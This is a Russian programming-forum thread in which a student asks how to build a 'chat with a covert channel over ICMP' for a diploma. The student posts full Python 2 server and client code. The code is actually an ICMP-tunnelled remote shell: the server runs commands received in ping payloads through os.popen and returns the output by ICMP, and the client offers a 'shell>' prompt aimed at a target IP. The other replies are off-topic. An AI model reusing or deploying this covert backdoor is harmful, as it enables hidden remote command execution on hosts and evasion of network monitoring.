Форум программистов, компьютерный форум CyberForum.ru

Python: Сети

Войти
Регистрация
Восстановить пароль
 
Neeros
0 / 0 / 0
Регистрация: 18.05.2016
Сообщений: 2
#1

не могу написать чат со скрытым каналом - Python

19.05.2016, 00:28. Просмотров 559. Ответов 3
Метки нет (Все метки)

Доброго времени суток. У меня стоит задача к диплому - написать чат со скрытым каналом поверх ICMP. Я уже 2 недели ничего вразумительного сделать не могу. Перечитал множество форумов, но всё без толку. Хотя учусь я не на программиста, просто дипломка попалась такая. Был бы очень признателен за любую оказанную помощь, готов предложить и денежное вознаграждение)

Добавлено через 1 минуту
есть полный гайд так сказать, который подходит на тему

Добавлено через 7 часов 28 минут
Я написал на Питоне простой сервер и клиент для ICMP-туннелирования, которые позволяют устанавливать скрытый канал между двумя хостами.
Код сервера:
Кликните здесь для просмотра всего текста
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import os, sys, socket, struct, select, time , threading ,re
 
ICMP_ECHO_REQUEST = 8
 
 
def checksum(source_string):
   
    sum = 0
    countTo = (len(source_string)/2)*2
    count = 0
    while count<countTo:
        thisVal = ord(source_string[count + 1])*256 + ord(source_string[count])
        sum = sum + thisVal
        sum = sum & 0xffffffff
        count = count + 2
 
    if countTo<len(source_string):
        sum = sum + ord(source_string[len(source_string) - 1])
        sum = sum & 0xffffffff
 
    sum = (sum >> 16)  +  (sum & 0xffff)
    sum = sum + (sum >> 16)
    answer = ~sum
    answer = answer & 0xffff
        # Swap bytes.
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer
 
 
def send_one_ping(my_socket, dest_addr, ID, onlydata):
    data = "@@"+onlydata
    dest_addr  =  socket.gethostbyname(dest_addr)
        # Header is type (8), code (8), checksum (16), id (16), sequence (16)
    my_checksum = 0
        # Make a dummy heder with a 0 checksum.
    header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1)
    bytesInDouble = struct.calcsize("d")
    #data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
        # Calculate the checksum on the data and the dummy header.
    my_checksum = checksum(header + data)
    header = struct.pack(
        "bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1
    )
    packet = header + data
    my_socket.sendto(packet, (dest_addr, 1)) # Don't know about the 1
 
 
def do_one(dest_addr, timeout,payload):
    icmp = socket.getprotobyname("icmp")
    try:
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
    except socket.error, (errno, msg):
        if errno == 1:
            # Operation not permitted
            msg = msg + (
               
            )
            raise socket.error(msg)
        raise # raise the original error
 
    my_ID = os.getpid() & 0xFFFF
 
    send_one_ping(my_socket, dest_addr, my_ID,payload)
    my_socket.close()
    return delay
 
#dest = "192.168.157.128"  #the destination ip
delay = 1
 
def execute(cmd):
    output = os.popen(cmd)
    return output
 
#HOST = '192.168.157.1'  #This is the listening Host.
HOST = raw_input("Enter the interface to listen: ")
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
s.bind((HOST, 0))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
print "Server Started......"
for i in range(1,2000):
#while 1:
    data = s.recvfrom(65565)
    d1 = str(data[0])
    data1 = re.search('@@(.*)', d1)
    command = data1.group(0)
    cmd = command[2:]
    if i%2 == 0:
        d = data[1]
        d1 = str(d)
        ip = d1[2:-5]
        #print ip
        print cmd   # Holding the command to execute
        print ip        #Hoslding the destination address to send the ping
        output = execute(cmd)
        for line in output.readlines():
            do_one(ip,delay,line)
s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

Код клиента:
Кликните здесь для просмотра всего текста
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import socket
import re
import thread
from threading import *
import os, sys, socket, struct, select, time , threading
#HOST = socket.gethostbyname(socket.gethostname())
##The pinging part starts here
ICMP_ECHO_REQUEST = 8
def checksum(source_string):
   
    sum = 0
    countTo = (len(source_string)/2)*2
    count = 0
    while count<countTo:
        thisVal = ord(source_string[count + 1])*256 + ord(source_string[count])
        sum = sum + thisVal
        sum = sum & 0xffffffff
        count = count + 2
 
    if countTo<len(source_string):
        sum = sum + ord(source_string[len(source_string) - 1])
        sum = sum & 0xffffffff
 
    sum = (sum >> 16)  +  (sum & 0xffff)
    sum = sum + (sum >> 16)
    answer = ~sum
    answer = answer & 0xffff
        # Swap bytes.
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer
 
 
def send_one_ping(my_socket, dest_addr, ID, onlydata):
    data = "@@"+onlydata
    dest_addr  =  socket.gethostbyname(dest_addr)
    my_checksum = 0
    header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1)
    bytesInDouble = struct.calcsize("d")
    my_checksum = checksum(header + data)
    header = struct.pack(
        "bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1
    )
    packet = header + data
    my_socket.sendto(packet, (dest_addr, 1)) # Don't know about the 1
 
 
def do_one(dest_addr, timeout,payload):
    icmp = socket.getprotobyname("icmp")
    try:
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
    except socket.error, (errno, msg):
        if errno == 1:
            # Operation not permitted
            msg = msg + (
               
            )
            raise socket.error(msg)
        raise # raise the original error
 
    my_ID = os.getpid() & 0xFFFF
 
    send_one_ping(my_socket, dest_addr, my_ID,payload)
    my_socket.close()
    return delay
#The sniffer part starts here..!!!
def writer(d):
        f = open('/root/log.txt','a')
        f.write(d)
def clearfile():
        f = open('/root/log.txt','w')
        f.write("")
def reader():
        f = open('/root/log.txt','r')
        con = f.readline()
        content = con.replace("@@","")
        clearfile()
        return content
def startsniffing():
        HOST = '192.168.157.128'
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        s.bind((HOST, 0))
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        print "Sniffer Started....."
        while 1:
                data = s.recvfrom(65565)
                d1 = str(data[0])
                d2 = str(data[1])
                data1 = re.search('@@(.*)', d1)
                datapart = data1.group(0)
                #print datapart
                writer(datapart)
                #command = data1.group(0)
                #cmd = command[2:]
                #ip = d2[2:-5]
                #print command
                #print ip
                #print data
                print reader()
thread.start_new_thread(startsniffing,())
ip = raw_input("Enter the destination IP: ")
delay = 1
while 1:
        command = raw_input("shell>")
        if command == "quit":
                break
        else:
                do_one(ip,delay,command)
                print("Executing Command....\n")


можно как-то это реализовать? куда вводить, чтоб получить готовый продукт?
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
19.05.2016, 00:28
Здравствуйте! Я подобрал для вас темы с ответами на вопрос не могу написать чат со скрытым каналом (Python):

Не могу понять что с VPN каналом - Сетевое оборудование
Построила наша компания себе дочерний офис, и решила сделать там сеть. Сказано - сделано, сеть проведена, сервера подняты, маршрутизация...

Чат на C#. Не могу подключиться к серверу. - C#
Решил сделать простенький чат. Совсем простой. Принимает сообщение и отсылает его клиенту. Со своего компьютера все работает нормально, при...

Пишу чат. Не могу разобраться с потоками - C#
В данной области я чуть менее чем полностью новичок. Принцип простой есть сервер, к нему подключаются клиенты. Есть 2 типа сообщений...

Не могу наладить чат [Indy 10, Delphi XE3] - Delphi
Решил освоить Инди и вот первый мой проект. Суть чата в том, что у нас есть сервер, который соединяет клиентов просто по IP. И клиенты...

Не получается написать чат - Delphi
Привет Всем!!! Я так сказать начинающий программист. Тема моей первой курсовой - Чат средствами Dtlphi Я скачал для ознакомления парочку...

AS 3.0 Можно ли написать чат? - ActionScript
Можно ли создать чат в as3?

Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Zuzik
20.05.2016, 00:49
  #2

Не по теме:

Цитата Сообщение от Neeros Посмотреть сообщение
Хотя учусь я не на программиста, просто дипломка попалась такая.
А на кого учитесь, просто очень интересно.

alex925
20.05.2016, 06:26
  #3

Не по теме:

Zuzik, на сетевика или админа наверно, вообще это классическая ситуация.

Neeros
0 / 0 / 0
Регистрация: 18.05.2016
Сообщений: 2
21.05.2016, 09:23  [ТС] #4
На инженера по телекоммуникации) Беда) до сдачи диплома 10 дней, а с программой так и не разобрался
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
21.05.2016, 09:23
Привет! Вот еще темы с ответами:

Написать чат бота - C++
Задача следующая: Есть игровой клиент ip адрес коннекта я заснифферил. Хотелось бы что-бы прога коннектилась к клиенту заходила на сервак и...

Хочу написать чат... - C++
Хочу написать чат, который бы работал только если пользователь вошел в домен, а список пользователей брал бы из Active Directory. Клиенты...

Написать простой чат - C#
Всем привет. Нужно написать простой чат. Описание: - Сообщения отправляются всем пользователям у которых запущена программа. - Есть...

c# многопользовательский чат с отдельным сервером. не могу понять в чем дело - C#
В общем в чем проблема, клиенты присоединяются к серверу, спокойно отправляют сообщения, и в 1 прекрасный момент один из клиентов теряет...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
Yandex
Объявления
21.05.2016, 09:23
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru